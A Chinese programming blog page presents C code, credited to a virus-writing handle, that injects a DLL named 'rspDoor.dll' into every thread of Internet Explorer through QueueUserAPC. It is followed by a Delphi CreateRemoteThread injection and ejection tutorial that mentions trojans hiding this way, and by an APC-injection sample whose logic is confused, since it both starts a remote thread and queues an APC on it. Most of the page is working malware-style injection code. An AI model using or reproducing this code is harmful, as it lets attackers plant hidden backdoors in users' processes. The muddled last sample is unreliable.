QueueUserApc实现DLL注入的测试

Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->#include "stdafx.h"
#define _WIN32_WINNT 0x0400
#define WIN32_LEAN_AND_MEAN   // 从 Windows 头中排除极少使用的资料
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <Tlhelp32.h>
#include  <winbase.h>
#pragma   comment  ( lib, "ws2_32.lib") 


//
// coded by robinh00d[VX Z0NE]
// Email:robinh00d_at_qq_dot_com
// 向指定进程的线程里插入APC实现DLL注入
//思路来自PJF的老文
//
//typedef HANDLE (*OPENTHREAD) (DWORD dwFlag, BOOL bUnknow, DWORD dwThreadId); 
typedef HANDLE (__stdcall *OPENTHREAD) (DWORD dwFlag, BOOL bUnknow, DWORD dwThreadId);
typedef struct _TIDLIST
{
DWORD dwTid ;
_TIDLIST *pNext ;
}TIDLIST;

DWORD EnumThread(HANDLE hProcess, TIDLIST *pThreadIdList)
{
    
TIDLIST *pCurrentTid = pThreadIdList ;

const char szInjectModName[] = "C:\\rspDoor.dll" ;
DWORD dwLen = strlen(szInjectModName) ;

PVOID param = VirtualAllocEx(hProcess, \
         NULL, dwLen, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE) ;

if (param != NULL)
{
   DWORD dwRet ;
   if (WriteProcessMemory(hProcess, param, (LPVOID)szInjectModName, dwLen, &dwRet))
   {

    while (pCurrentTid)
    {
        
        HMODULE hDll = ::LoadLibrary("Kernel32.dll"); 
        OPENTHREAD lpfnOpenThread = (OPENTHREAD)::GetProcAddress(hDll, "OpenThread"); 
      HANDLE hThread = lpfnOpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentTid->dwTid);

     if (hThread != NULL)
     {
      //
      // 注入DLL到指定进程
      //
      
      QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (unsigned long)param);
     }

     printf("TID:%d\n", pCurrentTid->dwTid) ;
     pCurrentTid = pCurrentTid->pNext ;
    }
   }
}
return 0 ;
}
//
//
DWORD GetProcID(const char *szProcessName)
{
PROCESSENTRY32 pe32 = {0} ;
pe32.dwSize = sizeof(PROCESSENTRY32);

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) ;

if (hSnapshot == INVALID_HANDLE_VALUE)
{
   return 0xFFFFFFFF ;
}

if (!Process32First(hSnapshot, &pe32))
{
   return 0xFFFFFFFF ;
}

do
{
   if (!_strnicmp(szProcessName, pe32.szExeFile, strlen(szProcessName)))
   {
    printf("%s的PID是:%d\n", pe32.szExeFile, pe32.th32ProcessID);
    return pe32.th32ProcessID ;
   }
} while(Process32Next(hSnapshot, &pe32));

return 0xFFFFFFFF ;

}

///
TIDLIST* InsertTid(TIDLIST *pdwTidListHead, DWORD dwTid)
{
TIDLIST *pCurrent = NULL ;
TIDLIST *pNewMember = NULL ;

if (pdwTidListHead == NULL)
{
   return NULL ;
}
pCurrent = pdwTidListHead ;

while (pCurrent != NULL)
{

   if (pCurrent->pNext == NULL)
   {
    //
    // 定位到链表最后一个元素
    //
    pNewMember = (TIDLIST *)malloc(sizeof(TIDLIST)) ;

    if (pNewMember != NULL)
    {
     pNewMember->dwTid = dwTid ;
     pNewMember->pNext = NULL ;
     pCurrent->pNext = pNewMember ;
     return pNewMember ;
    }
    else
    {
     return NULL ;
    }
   }
   pCurrent = pCurrent->pNext ;
}

return NULL ;
}

int EnumThreadID(DWORD dwPID, TIDLIST *pdwTidList)
{
int i = 0 ;

THREADENTRY32 te32 = {0} ;
te32.dwSize= sizeof(THREADENTRY32) ;

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,dwPID) ;

if(hSnapshot != INVALID_HANDLE_VALUE)
{
   if(Thread32First(hSnapshot,&te32))
   {
    do
    {
     if(te32.th32OwnerProcessID==dwPID)
     {
      if (pdwTidList->dwTid == 0)
      {
       pdwTidList->dwTid = te32.th32ThreadID ;
      }
      else
      {
       if (NULL == InsertTid(pdwTidList, te32.th32ThreadID))
       {
        printf("插入失败!\n") ;
        return 0 ;
       }
      }
    
     }
    }while(Thread32Next(hSnapshot,&te32));
   }
}
return 1 ;
}

int main(int argc, char* argv[])
{
TIDLIST *pTidHead = (TIDLIST *)malloc(sizeof(TIDLIST)) ;

if (pTidHead == NULL)
{
   return 1 ;
}
RtlZeroMemory(pTidHead, sizeof(TIDLIST)) ;

DWORD dwPID = 0 ;

if ((dwPID = GetProcID("iexplore.exe")) == 0xFFFFFFFF)
{
   printf("进程ID获取失败!\n") ;
   return 1 ;
}

//
// 枚举线程ID
//
EnumThreadID(dwPID, pTidHead) ;

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID) ;

if (hProcess == NULL)
{
   return 1 ;
}
EnumThread(hProcess, pTidHead) ;

return 0;
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
远程注入DLL方法有很多种,也是很多木马病毒所使用的隐藏进程的方法,因为通过程序加载的DLL进程管理器是没有显示的.这里介绍一种用 CreateRemoteThread 远程建立线程的方式注入DLL. 首先,我们要提升自己的权限,因为远程注入必不可免的要访问到目标进程的内存空间,如果没有足够的系统权限,将无法作任何事.下面是这个函数是用来提升我们想要的权限用的. function EnableDebugPriv: Boolean; var hToken: THandle; tp: TTokenPrivileges; rl: Cardinal; begin Result := false; //打开进程令牌环 OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken); //获得进程本地唯一ID if LookupPrivilegeValue(nil, 'SeDebugPrivilege', tp.Privileges[0].Luid) then begin tp.PrivilegeCount := 1; tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; //调整权限 Result := AdjustTokenPrivileges(hToken, false, tp, SizeOf(tp), nil, rl); end; end; 关于 OpenProcessToken() 和 AdjustTokenPrivileges() 两个 API 的简单介绍: OpenProcessToken():获得进程访问令牌的句柄. function OpenProcessToken( ProcessHandle: THandle; //要修改访问权限的进程句柄 DesiredAccess: DWORD; //指定你要进行的操作类型 var TokenHandle: THandle//返回的访问令牌指针 ): BOOL; AdjustTokenPrivileges() :调整进程的权限. function AdjustTokenPrivileges( TokenHandle: THandle; // 访问令牌的句柄 DisableAllPrivileges: BOOL; // 决定是进行权限修改还是除能(Disable)所有权限 const NewState: TTokenPrivileges; { 指明要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针,该结构包含一个数组, 数据组的每个项指明了权限的类型和要进行的操作; } BufferLength: DWORD; //结构PreviousState的长度,如果PreviousState为空,该参数应为 0 var PreviousState: TTokenPrivileges; // 指向TOKEN_PRIVILEGES结构的指针,存放修改前的访问权限的信息 var ReturnLength: DWORD //实际PreviousState结构返回的大小 ) : BOOL; 远程注入DLL其实是通过 CreateRemoteThread 建立一个远程线程调用 LoadLibrary 函数来加载我们指定的DLL,可是如何能让远程线程知道我要加载DLL呢,要知道在Win32系统下,每个进程都拥有自己的4G虚拟地址空间,各个进程之间都是相互独立的。所我们需要在远程进程的内存空间里申请一块内存空间,写入我们的需要注入DLL 的路径. 需要用到的 API 函数有: OpenProcess():打开目标进程,得到目标进程的操作权限,详细参看MSDN function OpenProcess( dwDesiredAccess: DWORD; // 希望获得的访问权限 bInheritHandle: BOOL; // 指明是否希望所获得的句柄可以继承 dwProcessId: DWORD // 要访问的进程ID ): THandle; VirtualAllocEx():用于在目标进程内存空间中申请内存空间以写入DLL的文件名 function VirtualAllocEx( hProcess: THandle; // 申请内存所在的进程句柄 lpAddress: Pointer; // 保留页面的内存地址;一般用nil自动分配 dwSize, // 欲分配的内存大小,字节单位;注意实际分 配的内存大小是页内存大小的整数倍 flAllocationType: DWORD; flProtect: DWORD ): Pointer; WriteProcessMemory():往申请到的空间中写入DLL的文件名 function WriteProcessMemory( hProcess: THandle; //要写入内存数据的目标进程句柄 const lpBaseAddress: Pointer; //要写入的目标进程的内存指针, 需以 VirtualAllocEx() 来申请 lpBuffer: Pointer; //要写入的数据 nSize: DWORD; //写入数据的大小 var lpNumberOfBytesWritten: DWORD //实际写入的大小 ): BOOL; 然后就可以调用 CreateRemoteThread 建立远程线程调用 LoadLibrary 函数来加载我们指定的DLL. CreateRemoteThread() //在一个远程进程中建立线程 function CreateRemoteThread( hProcess: THandle; //远程进程的句柄 lpThreadAttributes: Pointer; //线程安全描述字,指向SECURITY_ATTRIBUTES结构的指针 dwStackSize: DWORD; //线程栈大小,以字节表示 lpStartAddress: TFNThreadStartRoutine; // 一个TFNThreadStartRoutine类型的指针,指向在远程进程中执行的函数地址 lpParameter: Pointer; //传入参数的指针 dwCreationFlags: DWORD; //创建线程的其它标志 var lpThreadId: DWORD //线程身份标志,如果为0, 则不返回 ): THandle; 整个远程注入DLL的具体实现代码如下: function InjectDll(const DllFullPath: string; const dwRemoteProcessId: Cardinal): Boolean; var hRemoteProcess, hRemoteThread: THandle; pszLibFileRemote: Pointer; pszLibAFilename: PwideChar; pfnStartAddr: TFNThreadStartRoutine; memSize, WriteSize, lpThreadId: Cardinal; begin Result := false; // 调整权限,使程序可以访问其他进程的内存空间 if EnableDebugPriv then begin //打开远程线程 PROCESS_ALL_ACCESS 参数表示打开所有的权限 hRemoteProcess := OpenProcess(PROCESS_ALL_ACCESS, false, dwRemoteProcessId); try // 为注入dll文件路径分配内存大小,由于为WideChar,故要乘2 GetMem(pszLibAFilename, Length(DllFullPath) * 2 + 1); // 之所以要转换成 WideChar, 是因为当DLL位于有中文字符的路径下时不会出错 StringToWideChar(DllFullPath, pszLibAFilename, Length(DllFullPath) * 2 + 1); // 计算 pszLibAFilename 的长度,注意,是以字节为单元的长度 memSize := (1 + lstrlenW(pszLibAFilename)) * SizeOf(WCHAR); //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间 pszLibFileRemote := VirtualAllocEx(hRemoteProcess, nil, memSize, MEM_COMMIT, PAGE_READWRITE); if Assigned(pszLibFileRemote) then begin //使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间 if WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibAFilename, memSize, WriteSize) and (WriteSize = memSize) then begin lpThreadId := 0; // 计算LoadLibraryW的入口地址 pfnStartAddr := GetProcAddress(LoadLibrary('Kernel32.dll'), 'LoadLibraryW'); // 启动远程线程LoadLbraryW,通过远程线程调用创建新的线程 hRemoteThread := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, pszLibFileRemote, 0, lpThreadId); // 如果执行成功返回 True; if (hRemoteThread 0) then Result := true; // 释放句柄 CloseHandle(hRemoteThread); end; end; finally // 释放句柄 CloseHandle(hRemoteProcess); end; end; end; 接下来要说的是如何卸载注入目标进程中的DLL,其实原理和注入DLL是完全相同的,只是远程调用调用的函数不同而已,这里要调用的是FreeLibrary,代码如下: function UnInjectDll(const DllFullPath: string; const dwRemoteProcessId: Cardinal): Boolean; // 进程注入和取消注入其实都差不多,只是运行的函数不同而已 var hRemoteProcess, hRemoteThread: THandle; pszLibFileRemote: PChar; pszLibAFilename: PwideChar; pfnStartAddr: TFNThreadStartRoutine; memSize, WriteSize, lpThreadId, dwHandle: Cardinal; begin Result := false; // 调整权限,使程序可以访问其他进程的内存空间 if EnableDebugPriv then begin //打开远程线程 PROCESS_ALL_ACCESS 参数表示打开所有的权限 hRemoteProcess := OpenProcess(PROCESS_ALL_ACCESS, false, dwRemoteProcessId); try // 为注入dll文件路径分配内存大小,由于为WideChar,故要乘2 GetMem(pszLibAFilename, Length(DllFullPath) * 2 + 1); // 之所以要转换成 WideChar, 是因为当DLL位于有中文字符的路径下时不会出错 StringToWideChar(DllFullPath, pszLibAFilename, Length(DllFullPath) * 2 + 1); // 计算 pszLibAFilename 的长度,注意,是以字节为单元的长度 memSize := (1 + lstrlenW(pszLibAFilename)) * SizeOf(WCHAR); //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间 pszLibFileRemote := VirtualAllocEx(hRemoteProcess, nil, memSize, MEM_COMMIT, PAGE_READWRITE); if Assigned(pszLibFileRemote) then begin //使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间 if WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibAFilename, memSize, WriteSize) and (WriteSize = memSize) then begin // 计算GetModuleHandleW的入口地址 pfnStartAddr := GetProcAddress(LoadLibrary('Kernel32.dll'), 'GetModuleHandleW'); //使目标进程调用GetModuleHandleW,获得DLL在目标进程中的句柄 hRemoteThread := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, pszLibFileRemote, 0, lpThreadId); // 等待GetModuleHandle运行完毕 WaitForSingleObject(hRemoteThread, INFINITE); // 获得GetModuleHandle的返回值,存在dwHandle变量中 GetExitCodeThread(hRemoteThread, dwHandle); // 计算FreeLibrary的入口地址 pfnStartAddr := GetProcAddress(LoadLibrary('Kernel32.dll'), 'FreeLibrary'); // 使目标进程调用FreeLibrary,卸载DLL hRemoteThread := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, Pointer(dwHandle), 0, lpThreadId); // 等待FreeLibrary卸载完毕 WaitForSingleObject(hRemoteThread, INFINITE); // 如果执行成功返回 True; if hRemoteProcess 0 then Result := true; // 释放目标进程中申请的空间 VirtualFreeEx(hRemoteProcess, pszLibFileRemote, Length(DllFullPath) + 1, MEM_DECOMMIT); // 释放句柄 CloseHandle(hRemoteThread); end; end; finally // 释放句柄 CloseHandle(hRemoteProcess); end; end; end;
APC(Asynchronous Procedure Call)注入是一种常见的DLL注入方法,可以用于向目标进程注入代码。下面是一个简单的C语言APC注入DLL实现过程: 1. 打开目标进程(使用CreateProcess或OpenProcess函数)。 2. 在目标进程中申请内存空间(使用VirtualAllocEx函数),用于存放DLL路径字符串和LoadLibrary函数地址。 3. 将DLL路径字符串写入目标进程中申请的内存空间(使用WriteProcessMemory函数)。 4. 获取LoadLibrary函数的地址(使用GetModuleHandle和GetProcAddress函数)。 5. 使用CreateRemoteThreadEx函数创建一个远程线程,传入LoadLibrary函数地址和DLL路径字符串地址作为参数。 6. 使用QueueUserAPC函数将一个APC函数插入目标进程的线程中。该APC函数将执行LoadLibrary函数,并将DLL路径字符串作为参数传入。 7. 关闭目标进程句柄(使用CloseHandle函数)。 以下是一个简单的实现示例: ```c #include <stdio.h> #include <windows.h> int main() { // 目标进程ID DWORD pid = 1234; // DLL路径 const char* dllPath = "C:\\path\\to\\mydll.dll"; // 打开目标进程 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (hProcess == NULL) { printf("OpenProcess failed: %d\n", GetLastError()); return 1; } // 在目标进程中申请内存空间 LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE); if (remoteMem == NULL) { printf("VirtualAllocEx failed: %d\n", GetLastError()); CloseHandle(hProcess); return 1; } // 写入DLL路径字符串 if (!WriteProcessMemory(hProcess, remoteMem, dllPath, strlen(dllPath) + 1, NULL)) { printf("WriteProcessMemory failed: %d\n", GetLastError()); VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } // 获取LoadLibrary函数地址 HMODULE hKernel32 = GetModuleHandle("kernel32.dll"); if (hKernel32 == NULL) { printf("GetModuleHandle failed: %d\n", GetLastError()); VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } FARPROC pLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryA"); if (pLoadLibrary == NULL) { printf("GetProcAddress failed: %d\n", GetLastError()); VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } // 创建远程线程 HANDLE hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibrary, remoteMem, 0, NULL, NULL); if (hThread == NULL) { printf("CreateRemoteThreadEx failed: %d\n", GetLastError()); VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } // 插入APC函数 if (!QueueUserAPC((PAPCFUNC)pLoadLibrary, hThread, (ULONG_PTR)remoteMem)) { printf("QueueUserAPC failed: %d\n", GetLastError()); VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); CloseHandle(hThread); CloseHandle(hProcess); return 1; } // 等待远程线程执行结束 WaitForSingleObject(hThread, INFINITE); // 清理资源 VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); CloseHandle(hThread); CloseHandle(hProcess); return 0; } ``` 需要注意的是,APC注入存在一些局限性,例如无法向所有进程注入代码,只能向某些特定类型的进程注入。此外,由于APC函数的执行是异步的,因此无法保证注入DLL的时机和顺序。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值